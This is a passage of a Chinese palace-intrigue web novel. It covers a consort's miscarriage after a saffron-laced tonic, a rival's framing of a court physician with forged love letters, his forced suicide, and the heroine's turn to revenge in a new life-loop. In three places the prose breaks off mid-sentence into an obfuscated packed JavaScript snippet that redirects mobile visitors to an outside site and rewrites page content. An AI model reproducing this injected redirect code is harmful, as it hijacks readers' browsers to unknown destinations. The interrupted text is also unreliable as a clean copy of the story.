江昭缓缓吐出一口气:“若嫡长之外,再无可承继之人,皇后与大皇子便再无后顾之忧。”她顿了顿,却有些疑虑:“只是,好像太拙劣了些。纵以病为幌子,难道打量旁人都是傻子不成?” 贤妃的指甲几乎掐进她自己的皮肉,“拙劣?她要的便是这份拙劣!——让所有人都看得明白,却谁也抓不到她的把柄。病得光明正大,死得顺理成章。不然何以病得这般巧?瑾儿前脚咽气,她后脚便‘高烧晕厥’,她连遮羞布都懒得披,分明是在笑我们:‘我便是动了手,尔等又能奈我何?’” 她猛地抬头,鬓边金钗乱颤。“皇后!枉为国母!你不仁,我不义!你既夺我骨血,我便要你儿子偿命!我的瑾儿没了,你的大皇子——也休想平安!我要你血债血偿!”贤妃眸中恨意翻涌,令人触目惊心。 身子稍安后,江昭便乘软轿回了忘忧宫。二人互相叮嘱珍重自是不提。回宫后,江昭命人将孕信报到乾清宫。不多时,御前总管常福全亲自捧着明黄圣旨前来: “奉天承运皇帝,诏曰:明嫔江氏,淑慎性成,勤勉柔顺,雍和粹纯,性行温良,克娴内则,淑德含章,孕育龙嗣有功,仰承皇太后慈谕,册为明妃,钦此!” 江昭拜谢,“谢皇上隆恩。” 常福全递了圣旨,笑着道:“明妃娘娘大喜!皇上听得喜讯,龙颜大悦,特命奴才送来贺礼。” 他侧身一摆手,六名小太监鱼贯而入。 “娘娘请看,有金镶玉如意一对、赤金长命锁一副、苏绣百子被一条、掐丝点翠转珠凤簪一对、羊脂玉镯一对、银碟翅滚珠攒珍珠簪一对、云锦四匹、月华锦四匹、十二扇琉璃围屏、紫檀梅花小几、翡翠荷叶盘,另有血燕、人参、虫草、鹿茸、阿胶若干。” 江昭做出一副喜不自胜的表情:“多谢皇上,请常公公向皇上转达本宫的谢意。公公,喝杯茶歇歇再走吧。” 常福全自是推辞。 江昭朝乐雪微一颔首,乐雪会意,上前将一支荷包塞进常福全手里,笑吟吟道:“公公辛苦了,请公公喝茶。” 常福全躬身:“奴才谢娘娘厚爱,皇上晚些时候会过来,奴才先行告退。” 江昭温声道:“有劳常公公。”随即吩咐乐雪,“替我好生送常公公出去。” 乐雪应声,一路将常福全送至宫门外。 晚间,皇帝果然驾临。 皇帝抬手替江昭掖了掖鬓边碎发,道:“宫中久未有好消息,如今你有了,朕心甚慰。伺候的人可还妥帖?可有什么短缺吗?” 江昭垂眸一礼,回道:“谢皇上关怀,皇上才赏了那许多东西,眼下样样齐全,一切都好。” 皇帝牵起江昭的手往膳桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16125751|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走:“伺候的人若有不周全的,或缺了什么,只管打发人来说。用膳吧!”与江昭用完膳后,他抬手屏退宫人。 “昭儿,朕去瞧了宁儿”他声音低哑,眉间倦色浓重,“宫中才没了一个孩子,朕实在难过。唯有在你这里,方能稍感安慰。”他抬眼,眸里血丝纵横,“朕已晋了贤妃为贤贵妃,以慰其失子之痛。你与贤贵妃亲近,替朕好好劝劝她。她如今认定皇后,几近疯魔。若她再这样闹下去,朝堂、后宫都会不得安稳。” “瑾儿也是朕的骨血,他夭折,朕亦万分心痛。然,皇后终究是国母,牵一发而动全身,不可轻易废弃。朕已命人暗查,但尚无实据。若真是皇后所为,朕不会轻易放过。” 江昭道:“皇上圣明,臣妾一定尽己所能。” 皇帝握住江昭的手,掌心滚烫,“朕不想再失去第二个孩子。” 殿内新添了鎏金香炉,雪中春信细细蜿蜒。皇帝亲手替江昭掖好薄毯,指腹掠过她仍平坦的小腹,声音低而暖:“朕今日就陪着你,哪儿也不去。” 江昭倚在床榻边,唇角含笑,正说着,“皇上待臣妾这样好”,外头忽传通禀——芙贵人和太医裴玉求见。 陆瑶一身雨过天青宫装,袅袅而入,后随裴玉,右手提一只药箱。陆瑶的贴身婢女霁月手捧一只食盒,轻揭盒盖,从中取出一只鎏银莲花碗,碗中药汁乌黑如墨,药香掩不住一缕清苦。 陆瑶似才惊觉殿中尚有旁人,忙轻轻一福,“嫔妾给皇上请安,给明妃姐姐请安。”天青色裙摆如花瓣铺地,声音里带着恰到好处的惊讶与歉意:“嫔妾不知皇上在此,扰了皇上与姐姐的雅兴,实在罪过。” 皇帝问道:“你怎么来了?” 陆瑶抬眸,眼尾泛红,泪意将坠未坠,盈盈拜下,“早上是妹妹一时疏忽,累姐姐受惊。妹妹心中实在难安,特请裴太医配一剂安胎药,给姐姐赔个不是。” 裴玉低眉,声音恭敬:“此药加当归、黄芪,温而不燥,还请娘娘趁热服用。” 皇帝敛眉,声音放缓:“早上是怎么回事?” 江昭为她解围:“回皇上,并无什么大事。妹妹原是好意,特意送来补气血的点心。只是臣妾马虎,不知自己有了身孕,又贪嘴,不小心吃了些寒凉之物,有些不舒服,歇了片刻便好了,真不怪妹妹,难为妹妹还记挂在心上。” 皇帝心疼道:“怎么不告诉朕?” 江昭嗔道:“皇上日理万机,臣妾不想因一点小事让皇上忧心,何况,臣妾这不是没什么事吗?” 皇帝轻叹一声,眼神掠过她仍显苍白的唇色,“你总是这么懂事。昭儿,朕再忙,也想看顾你几分。下次无论大小事,都要让朕知晓。” 江昭莞尔,指尖在他掌心轻轻一点,语气柔得像春夜的风:“臣妾省得了。只是皇上肩头担子已重,若能少一桩牵挂,臣妾便心安了。” 陆瑶含笑:“皇上和姐姐的情意真是羡煞旁人。若再说下去,只怕药都凉了,失了药效。” 14. 第五次轮回(四) 江昭望一眼皇帝,见他微微颔首,便接过药盏。药汁入口尚温,涩意直钻鼻尖,江昭眉心微蹙,仰头一饮而尽。茶盏刚离唇,苦意仍在齿缝里打旋,她下意识抿了抿,想压下那股冲鼻的药味。下一瞬,腹中猛地一绞,仿佛有刀狠狠翻搅。江昭脸色刷地惨白,冷汗顺着鬓角滚落。 “唔——”她弯下腰,指间银盏坠地,坠声清脆。下一刻,鲜血已顺着裙裾蜿蜒,滴落在青砖上,像一串骤雨里凋落的榴花。 “昭儿!”皇帝失声,一把抱住她,“快!太医——” 血还在涌,比上午更快更猛,像决堤的河流,浸透锦褥。小腹巨痛,止不住地往下坠,江昭的心越来越凉,感觉有什么东西就要离自己而去了。她拼命伸手去抓,却只摸到满掌湿热。 江昭有不祥之感,慌道:“孩子!我的孩子!” 指缝间血流得更快,像要把最后一丝希望也带走。 “快救他……救他!”她声音破碎又绝望,带着哭腔,带着恐惧,那是眼睁睁看着希望被撕碎却抓不住的绝望。 裴玉失了冷静,慌忙上前诊脉。三指刚搭上江昭脉门,便觉指下急跳如鼓,再探,脉象已呈崩散之兆。他心底一沉,掀开她薄毯,只见血色暗红,淋漓不止,隐隐夹带细碎血块。 裴玉俯身拾起那只翻倒的药盏,凑到鼻下轻轻一嗅。只一瞬,他脸色骤变。 盏底残液带着一缕若有若无的花香,混在浓重药香里,几乎被完全掩住。但那缕花香,他再熟悉不过……正是藏红花特有的气味。 “藏红花!”他低喝出声,声音发紧,“红花破血,娘娘这是血崩了!” 话未完,他已然明白,江昭腹内那个尚未成形的小生命已随血流化为乌有……他却,无能为力。 裴玉额上冷汗瞬间涌出,咬紧牙关,双手银针起落,封脉止血,又吩咐宫人速去煎止血方。 陆瑶大惊失色,担忧道:“姐姐怎会如此?” 皇帝面色凝重:“你照实说来,怎么回事?” 裴玉俯身叩首,声音哽咽:“臣无能,保不住皇嗣,只能先为娘娘止血!请皇上恕罪!” 皇帝骤然起身,龙颜震怒,面色铁青:“怎会如此?孩子怎么会突然出事?” 裴玉跪直身子,脸色惨白:“回皇上,娘娘方才所饮之药,不知怎么被人添了足量的藏红花。藏红花活血化瘀,对有孕之人乃是十足的禁忌。大剂滑血,冲任已伤。臣无能,皇嗣……已然保不住了,只能先行止血保住母体。” 江昭疼得冷汗淋漓,闻言心如刀割,指尖死死攥住裴玉衣摆,凄然破碎道:“连你也害我?!为什么!为什么要这样对我!” 裴玉目光黯然,自责不已,又叩首:“臣绝无害娘娘之意!药中无毒,臣愿以性命担保!臣不知……为何会有藏红花。” 裴玉额上急出密密一层汗珠,似忽然想到什么,猛地回头看向陆瑶,“芙贵人?是你?!” 陆瑶却先一步跪下,泪盈于睫:“皇上明鉴!配药、煎药皆是裴大人一手操办,嫔妾连药罐都不曾碰过。” 霁月也俯首道:“裴大人就在奴婢身旁,奴婢此前不曾打开过食盒,不曾接触过药盏,根本没有下药的机会啊。” 陆瑶接着辩驳道:“嫔妾不通药理,怎会晓得这样害人的法子?藏红花这等东西,嫔妾是听都没听过。倒是裴大人,医术高超,博闻强记,又细致入微,嗅觉灵敏,可为何如今才闻出来里头有藏红花?嫔妾一向视昭姐姐如亲姐姐,有何理由要害昭姐姐?何况皇上又在此,嫔妾纵有天大胆子,也不敢当面行凶!” 裴玉猛地抬头,直直地盯着陆瑶,只觉得仿佛第一次认识她一般,一时愤怒得忘了礼数:“陆瑶,你!你血口喷人!” 皇帝面色一沉,喝道:“放肆!陆瑶也是你能叫的?” 裴玉这才如梦初醒,理智回笼:“微臣一时情急,口不择言,望皇上恕罪!” 江昭仰面躺着在床榻上,脸色比衾枕还白。 她合着眼,睫毛却湿漉漉的,泪水不再汹涌地滚落,只是顺着鬓角静静淌进发里。 她的手轻轻覆在平坦的小腹上,好像怕惊醒了那个鲜活的小生命,又好像这样那个小生命就还在那里,不曾离她而去。 耳边的辩解声忽远忽近,像隔着一层水,她听见了,却早已无心分辨。那边裴玉好像还在争辩:“微臣又有何理由要害明妃娘娘和皇嗣?此乃抄家灭族大罪,微臣不敢自寻死路。”裴玉温润的声音也钻不进她的心里,孩子……只有孩子是她的宝贝,是最重要的。 胸腔里像被人生生剜去一块,风从缺口灌进来,空洞得发疼。江昭侧过脸,朝向里侧,无意去听如今的这一切。多么荒唐?她的孩子已经不在了,此刻争辩又有什么意义?能让她的孩子回来吗? 她连一天都没能护住这个孩子——从知道他的存在到失去他,不过几个时辰。 上午时,她还抚着肚子,悄悄对他说“孩子别怕,娘在这里,娘会保护你的”;午后阳光洒向窗棂,她还吩咐宫女挑柔软的布料出来,想着给他绣小衣裳;可就是晚上的那盏药汤,将一切都断送了。孩子才和她温柔地打了个招呼,便转身走了,留下她一人,站在空荡荡的殿里,留着再也用不上的“长命锁”。 她不敢清醒,仿佛这样时间就能倒回片刻。也不敢睁眼,仿佛只要再闭一会儿,醒来就会发现这只是一场噩梦。可血腥味固执地钻进鼻腔,提醒她——梦是真的,孩子是真的走了。 她不再哭,也不再怒,只是木然地听着一切、缓慢地把手指蜷进掌心。 曾经最信任的两个人,一个递药,一个端碗,如今一个说着“不是我”,一个说着“我不知道”。 她无声地笑了笑,那笑意薄得几乎看不见,随即湮灭在唇角。 刚知道孩子存在的时候,她沉闷了许久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135897|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心终于雀跃起来,只觉得世界明朗,万物可期,人间值得,如今……心如死灰,不外如是。 是她错怪老天爷了,苍天仁慈,给了她一个孩子陪着她。江昭喃喃,“是我不争气,没护住你。”苍天还会给她机会吗?江昭怔怔地想。 陆瑶正与裴玉对峙,二人各执一词。昔日的一对璧人如今剑拔弩张,反目成仇,真是令人唏嘘。 裴玉额抵青砖:“臣冤枉!药渣尚在,一查便知!” 陆瑶冷笑,绣帕掩唇:“你若有心,真的药渣早被你藏好了,假的如何作数?” 霁月膝行几步:“皇上,恕奴婢直言,裴大人谋害皇嗣恐怕是因为……爱慕明妃娘娘。” 陆瑶脸色骤变,急声喝止:“霁月,不得胡说!” 皇帝眼里泛着渗人的寒意:“说下去!” 霁月叩首:“奴婢不敢妄言,裴大人与明妃娘娘是世交,自小相伴,青梅竹马。郎情妾意,有目共睹。如今娘娘身怀有孕,若娘娘因龙嗣而疏远旧情,裴大人一时妒火攻心,也未可知。” 裴玉愕然抬眼,额上青筋狂跳,强忍怒意:“微臣对娘娘从未敢有半分逾矩,更无加害之心,望皇上明察! 乐雪险些气笑了,奴婢的意思自然是主子的意思,这芙贵人真是口蜜腹剑,面甜心苦,竟是这样的一个人:“若论世交,裴大人与我们娘娘自幼相识,与芙贵人您又何尝不是?这样说来,您与裴大人也算两小无猜,郎情妾意了?我们娘娘与裴大人清清白白,素来以兄妹之礼相待,光明磊落。霁月你怎可凭一己臆测,以小人之心度君子之腹,信口雌黄,毁娘娘清誉?” 陆瑶面色一滞,指尖无意识地攥紧帕子。 皇帝的目光似寒刃贴肤,在殿内众人身上缓缓刮过。皇帝不发一言,殿内的气氛也被那沉默压得凝滞。 陆瑶笑靥温软,好像看不清殿内形势一般:“皇上,嫔妾这奴婢素来嘴碎,方才的话不过捕风捉影,做不得准的,皇上不必放在心上……” 乐雪声音脆亮:“芙小主,奴婢冒犯了,不知是什么风什么影?我们娘娘行得正,坐得端,霁月所言,根本是无稽之谈,无影之风!” 霁月不忿道:“小主,您何必替他们隐瞒,人家好像并不领情呢,还要倒打一耙,小主心软,顾念旧情,奴婢却见不得他们拿‘兄妹’二字当幌子!” 霁月激动得豁出去了一般:“皇上!奴婢本不想说的,可事到如今,却不得不说了。奴婢纵死,也要为小主伸冤!裴大人若心里没鬼,怎会在安胎药里做手脚,又反咬一口,说小主戕害皇嗣?小主!裴大人都栽赃到您头上了,您再替他遮掩,便是把命送到他手里!从前的事,根本不是奴婢的臆测,奴婢所言句句为实。裴大人昔年托小主转交明妃的亲笔信,如今还在小主妆匣最底一层。奴婢亲眼所见,信里‘年年岁岁不相负’、‘一草一木皆相思’之句,字字清晰,句句入骨,做不得假!” 15. 第五次轮回(五) 殿中雅雀无声,只余霁月急促的呼吸声。 陆瑶摇摇欲坠,闪烁其词:“皇上,原是霁月胡诌的,根本没有什么信件……” 霁月急道:“小主!您就不要给他留情面了!” 裴玉压抑着内心的愤怒,双拳紧握:“微臣冤枉!微臣不知什么亲笔信,芙贵人!你这是早有准备,蓄意栽赃吗?” 霁月抬眼斜睨裴玉,抢白道:“裴大人,你若问心无愧,可敢公开验信?只怕你心里虚得很,只剩嘴硬!” 裴玉气得脸色发青,可他的修养又叫他做不出讥讽宫女之事,只冷冷道:“粉骨碎身浑不怕,要留清白在人间。微臣不惧查验,只求皇上明察秋毫,还微臣与明妃娘娘一个清白。” 皇帝凝视众人的神色,示意常福全:“去取信来。” 正等着信,去煎止血散的宫人小心翼翼呈上一盏冬青釉荷叶纹杯,杯内药汁浓如玄漆,未入口已先散出一股浓烈的苦味。江昭倚在枕上,鬓发被冷汗黏成几缕,唇色苍白得几乎透明。她也不要皇帝喂她,只是神色木然地抬手接过,一口饮尽。 陆瑶上前几步,声音柔情似水,关切道:“姐姐,可好些了?” 江昭瞥她一眼:“药恶心,人更让我恶心。”说罢阖眼,不再施舍半分目光。 陆瑶的笑僵在脸上,指尖一蜷,讪讪地退后半步。 不多时,常福全双手呈上一只黑漆描金妆奁盒。匣盖轻启,一缕荷花的清香夹着陈年的墨气扑面而来。盒中一沓信笺整齐叠放,最下面几封已微微泛黄,边角卷起,似乎已经有些年头了。皇帝拈起最上几封,一目十行,眉宇间已透出不悦。 “昭儿亲启”……“见字如面,展信如晤……春赏百花冬观雪,醒亦念卿,梦亦念卿……求之不得,寤寐思服。” 末尾又写:“谨付寸心,希垂尺素”……“纸短情长,伏惟珍重”“书不尽言,余候面叙。” 字势清逸,连笔处的小勾、收笔时的轻顿,都与裴玉平日药方上的字迹分毫不差;纸张更是裴玉惯用的云纹笺,淡淡荷香是陆瑶宫中常用的香方。 皇帝将那一沓信掷到裴玉面前:“裴玉,这可是你的笔迹?你还有什么话要说吗?” 裴玉俯身拾起,指尖一触,纸纹与墨迹皆熟。细看笔迹:勾挑的弧度、收笔的轻顿、连笔处的小勾,再看数封信笺,竟与他自十二岁至今的字迹演变严丝合缝,仿得浑然天成,连他都要以为是从他自己的笔端流出。 他心中骇然:若非确信自己从未写过,连他都要被这“字迹”骗过,更何况皇上呢?这么多年,陆瑶……究竟是从哪一刻起暗生毒念,又悄然布下这天罗地网? 冷汗顺着鬓角滑下,裴玉不敢抬手去擦。他感觉皇上怀疑的目光如刀般一寸寸钉在他的脸上,逼得他心念急转,快速思考着破局之法。 疑点?漏洞?破绽? 字迹——无可挑剔;纸张——正是他惯用;墨材——陆瑶对他那般了解,自然是松烟墨;香味——淡淡荷香,的确不是他所用,但陆瑶大可推说“存放已久,自然沾香”;墨痕——新旧变更,毫无做旧痕迹,连岁月留下的细微毛边都仿得真切,显然是高手以他不同时期的真迹为底稿,逐笔临摹。 裴玉指节微紧,声音仍稳:“回皇上,字虽肖似,却并非出自微臣之手。芙贵人与臣乃世交,若她有心临摹,亦可乱真。” 陆瑶轻笑一声,声音温柔却带刺:“裴大人的意思是,我堂堂天子妃嫔,倒要处心积虑栽赃你一个小小太医了?” 皇帝也不知是信了还是不信,只道一声:“是吗?”转头面向江昭,语气低而紧:“你可看过这些信?可曾回信于他?” 江昭靠在枕上,面色雪白,声音却平静:“回皇上,臣妾从未见过这些信。裴大人每旬来诊平安脉,若有医嘱,当面即说,何须借他人转交?再者——”她抬眼,眸光冷清如寒潭,“若真有私情,怎敢留痕迹在旁人手里?又为何让芙贵人代为传递?” 裴玉紧接着出言:“皇上明鉴,若有亲密之词,如何敢叫他人转交?若微臣真与娘娘有私,微臣纵有天大胆子,也断不敢将密信托付第三人。更遑论留此把柄落在芙贵人手中,岂非自掘坟墓?” 陆瑶目光直刺裴玉:“你羞于启口,自然托我传递。我那里还有昭姐姐给你的回信。你二人既这般亲密,谁又敢保证皇嗣血脉纯正?” 她话音刚落,殿中空气陡然凝固。陆瑶倏地俯身,如受惊小鹿:“嫔妾失言,胡言乱语,皇上恕罪!” 烛火摇曳,映得皇帝半张脸沉在阴翳里,愈发幽暗。 江昭看透陆瑶的小心思,冷冷道:“皇上,看来臣妾这好妹妹要了皇嗣的命还不够,还想要臣妾和裴大人的命,胃口真是大得很。” 江昭嫌恶地看向陆瑶,好像在看一个跳梁小丑,“且不说根本没有这样的书信,臣妾三人昔年书信,不过是些旅途杂感、书卷闲评、日常趣闻,信笔草草,原是最寻常的友人相交。正因坦荡无防,真迹便悉数落于她手,被她逐字勾描,化作临摹的底稿。裴大人平日所开药方,字迹清晰,亦成了她偷师的范帖。如今她却将这些寻常笔墨,费尽心机仿制成所谓的‘私情铁证’,实在是可笑至极。臣妾这里也有些裴大人和她的书信,供皇上对比查阅。” “若真有书信托她传递,原是最信任她,她却反手捅刀。臣妾和裴大人可是她的世交啊!”江昭低低笑几声,像是在嘲讽陆瑶机关算计,又像是嘲自己竟曾把毒蛇当姐妹,“这就是臣妾的好妹妹”,她一字一顿,“皇上可要看清楚了,您的妃嫔里,藏着一条披着人皮的狼。”陆瑶,你既下毒手,还想片叶不沾身,做梦! 陆瑶只觉面颊一阵滚烫,仿佛江昭当众撕下她那张精心描画的面皮,又狠狠掷在青砖上,用鞋底一寸寸碾碎。她楚楚可怜道:“嫔妾不知姐姐何意,姐姐冤枉我了。” 江昭轻哂道:“装可怜,扮无辜,从前我倒不知,你唱念做打的功夫这般炉火纯青。” 陆瑶哑口无言,知道江昭素来爱憎分明,如今恨透了她,断不会再给她留面子,遂不再开口讨骂,只低低地啜泣。 皇帝的视线在江昭脸上停了片刻,带着难以言说的疑色与探询,江昭不闪不避地回望,眸如冷星,皇帝被里头的冷意刺了一下。两两相望,从前的温情脉脉荡然无存,如今只剩冰冷的试探和失望。他看见她唇色苍白、泪痕未干,指尖还紧紧攥着被角,仿佛那是她仅剩的依靠。疑心仍在,可那摊殷红的血已蔓延成一片刺目的红,像无声的控诉,终究把“皇家血脉”四个字冲得模糊。 他阖了阖眼,掩去眸底翻涌的暗色——孩子已经没了,是不是皇家血脉,都没关系了。江家尚权倾朝野,后宫再出一桩“不贞”丑闻,只会让朝堂与史官一起撕破皇家的脸。 于是,他沉而短促地下令:“芙贵人陆氏,捏造事实,胡言乱语,构陷无辜,褫夺封号,降为常在。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141189|180024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一句话,把脏水全泼到陆瑶身上,算是给此事盖棺定论。“今日之事,不许有任何人外传,若朕听到风声,一律杖毙。” 他倦怠地垂下眼,缓缓道:“你安心静养,朕改日再来看你。”他声音温和,目光却并无温情,好似覆着一层寒霜。说罢,又目光沉沉地看了一眼裴玉和陆瑶,再无半分停留,转身即走。有小太监高唱“皇上起驾——”。江昭知道,自己看似赢了,却已被悄无声息地挪出了皇帝的心尖。皇帝碍于情面没说什么,但终究心存芥蒂。否则,怎会轻描淡写地处置了陆瑶?失子的疼还没散,失宠的冷已透骨。 陆瑶轻拭眼泪,抚着鬓边垂下的流苏,笑得花枝乱颤,得意道:“一个位份换一个皇嗣,姐姐觉得如何?” 江昭靠着床栏,指尖在衾被上慢慢划出一道突兀的线,声音却平静得骇人:“当然划算,稳赚不赔的买卖。妹妹好手段,姐姐自叹弗如。这么多年,原来我从未看清过你。” “你装得可真好啊,能装这么多年,也是一种本事。究竟是我从未看清过你,还是你什么时候就悄然变了?你借裴玉,杀了皇上对我的爱,惹得皇上对我厌恶,害死了我的孩子还将罪责都推到裴玉身上,你怎能?” 陆瑶微微歪头,仿佛听见夸奖:“不是我变了,而是我向来如此。父亲不疼,我从小就打定主意,要嫁给天底下最尊贵的人,做人上人,做别人最爱的人。可凭什么——”她声音陡然锋利,“凭什么皇上更喜欢你?凭什么裴玉也护着你?出身、家世、才情,我样样都比不过你,永远只能做你的影子,让我怎能甘心!” 江昭抬眸,寒意闪过:“所以今早的八珍糕和七白糕,也是你故意送的?” 陆瑶掩唇,声音柔柔如水波:“姐姐聪慧,我隔三岔五送点心,不过想看看你们是否有了喜讯。若有,顺手便除。一石二鸟,何乐不为?” 江昭微微抬头,道:“你既这般盼我死,步步为营,只不知下一次,你可还承得住反噬。” 陆瑶不屑道:“姐姐说什么呢?妹妹怎么听不懂。姐姐如今说这话,不觉得有些迟了吗。姐姐尽管出招吧,姐姐若有能耐再来一次,妹妹便再送姐姐一程。可惜,姐姐恐怕没有再来一次的机会了。” 陆瑶又转头,居高临下看向裴玉,唇角含笑:“裴玉,你可别怪我。折了你这位相熟的太医,我也很是烦恼呢。只是,不把罪名推到你头上,我怎能全身而退呢?哟!你的催命符好像来了,本小主先走了。” 小太监躬身匆匆而入,托盘上一只鎏金小盏,酒色澄碧,却散着冷冽苦意。 “皇上口谕——”尖细嗓音划破死寂:“太医裴玉,医术不精,致皇嗣夭亡,赐自尽。” 裴玉面色瞬间灰败,指尖微颤,却不敢迟疑,双手捧盏。 酒液映出他惨白的脸,自责的神色。他仰首一饮,喉结滚动。 盏落,坠声清脆。 片刻后,一缕乌血自唇角蜿蜒而下,他缓缓倒地。 宫灯昏黄,烛火将尽,殿内只余潮冷的血腥气。 江昭的血本已止住,可,也许是心情大起大落,大悲大痛,也许是止血散药效不够,竟又有鲜红从裙间汩汩涌出,像无声的泉,一寸寸带走她仅剩的体温。 江昭阖着眼,既不喊痛,也不传医,只任血潮顺着新换的被褥纹理蜿蜒,把锦被染成暗褐。 血色渐凉,呼吸渐浅。 烛火终灭,一切归于沉寂。 16. 第六次轮回(一) 天光大亮。 江昭端坐在铜镜前,她抬眸,眼睛里翻涌的不再是温柔,而是淬了毒的恨,“人善被人欺,马善被人骑。” “陆瑶”,她低低唤,声音沙哑,却带着令人胆寒的决绝,“伤害我的,我一个都不会放过。” 窗外的阳光照进来,却照不亮她眼底那片深不见底的黑。 曾经温婉的眉眼,此刻锋利如刀。她不再是那个任人算计的江昭,而是从血泊里爬出的修罗。善良已死,修罗新生。 如上一回一般料理了云岫、醉琴和云常在,救下四皇子后,江昭午间前往乾清宫。 江昭敛衽福身,声如碎玉落盘:“给皇上请安,皇上吉祥。” 皇帝抬手示意平身,目光自折上移开:“免礼,昭儿怎么来了?” 江昭拜下,情真意切:“皇上,臣妾有个不情之请。温氏虽已伏诛,但风波未平。臣妾深恐幕后黑手贼心不死,再施毒手。为安四皇子之心,臣妾斗胆,恳请皇上即刻将四皇子接入乾清宫,置于御前保护,凡入口之膳食、汤药,皆须仔细验过,层层把关,方可入口,以绝后患。” 皇帝沉吟片刻,指节轻叩御案。皇子入乾清宫,这有时是皇帝对立储释放的一种信号,可能会引发朝臣不必要的猜测,皇后和华儿那里,不知道又会引出多少事来,前朝也必有微词。可……若将瑾儿放到太后那里,付璃借温蕊之手欲害瑾儿,太后是真糊涂,还是假作不知?若将四皇子送去慈宁宫,是否是羊入虎口?若留在乾清宫,谁敢再伸手,便是明犯龙鳞。 他想起四皇子虚弱单薄的模样,抬眼掠过江昭有些苍白的神色,袖袍一甩,“朕允了。”皇帝的声音并不高,却带着不容置疑的威严,“即刻传旨,四皇子暂居乾清宫,朕亲自照看。凡四皇子入口之物,先经三重验毒,再呈御前。让御膳房、太医院和四皇子身边的人紧紧皮。 若有差池,一并问斩。朕倒要看看,还有谁敢在朕眼皮底下动手。” 说罢,皇帝又伸手温柔地扶起江昭,掌心稳稳托住她的手:“昭儿思虑周全。朕权衡再三,还是亲自守着,最为稳妥。昭儿莫再忧心。”他抚了抚江昭的鬓发,“你脸色不好,想来是今日连番惊扰的缘故,便留在朕这里歇着。偏殿已命人熏了安神香,朕就在外头批折子,有事只管唤一声。” 江昭眉眼舒展:“臣妾多谢皇上。”有皇帝亲自保驾护航,四皇子应该安全了。 晚间,夜色沉下来,宫灯被宫人次第点亮。江昭与皇帝用过晚膳,皇帝便顺势将她留在了乾清宫。 江昭低眉称是,心中却遗憾:虽然她已嘱咐了乐雪,若静贵人来了,便照旧行事。但今晚她陪王伴驾,静贵人想来不会去忘忧宫杀她了。此刻抽身不得,无妨,且让付璃多活一夜。 不过,今夜解决不了付璃,还收拾不了陆瑶吗? 夜色深沉,宫灯如豆。江昭轻挽皇帝臂弯,笑意温软:“皇上白日赐的蓝田玉荷花簪,清透温润,臣妾想着陆瑶妹妹肤色胜雪,戴上更添姝色。那盒胭脂也是,桃里透霞,正衬她。不若趁此良夜,让臣妾亲手替她点上,也算是借花献佛。皇上何不同行,共赏佳人。” 皇帝闻言,含笑点头。二人便踏着碎银月色往荷香殿去。将至殿门,江昭停步,俏皮地眨了眨眼:“臣妾先去替妹妹匀面描眉簪钗,给皇上个惊喜。皇上不如先在外头稍候,正好听一听夏夜。”皇帝颔首,负手立于廊檐下,抬眼望向枝叶间漏下的疏星。 江昭又对荷香殿的宫人摆了摆手,道:“不许通禀,你们且先下去吧,本宫和皇上要给陆瑶妹妹一个惊喜。”宫人皆福身离去。 殿内点了一盏鎏金小炉,细烟袅袅。江昭手捧匣子,款款而入。 陆瑶正倚榻对灯,指尖轻拈一枚黑子,独自拆解残局。忽闻脚步轻响,抬眼便见江昭携月色而入,她微怔,指尖棋子“嗒”地落回棋篓,讶然道:“姐姐怎么来了?” 江昭笑意温婉:“妹妹真是好兴致。这灯下看美人,越看越美。我新得两支簪、一盒胭脂,想着与妹妹正相衬,便不请自来了,妹妹莫嫌唐突。” 陆瑶摇摇头:“姐姐说哪里话。” 江昭将匣子轻置于梳妆案上,鎏金盖“嗒”一声轻响,胭脂香雾扑面,一缕甜香在烛影里浮动。江昭手执铜刷,轻扫陆瑶脸颊,笑吟吟道:“妹妹肤白,配这桃色正好,衬得你人比花娇呢。” 江昭赞道:“玉面皎皎映朝霞,红妆点点胜春花。眉如远山含烟翠,眸似秋水漾波华。” 说罢,她手腕一转,将铜刷“啪”地放回案上,手顺势探向妆奁底层,指尖勾出一叠薄如蝉翼的信笺。 “咦?”江昭微蹙蛾眉,拈起一页,纸在烛火里晕出旧旧的昏黄,“这是什么?” 陆瑶脸色骤变,伸手欲夺。江昭侧身避开,信笺在空中轻轻一展,“入骨相思”四字赫然入目。 陆瑶不意事态如此发展,她隐瞒了许久的恶劣心思就这么骤然暴露灯下,她僵在原地,唇瓣微张,却发不出半个音节。 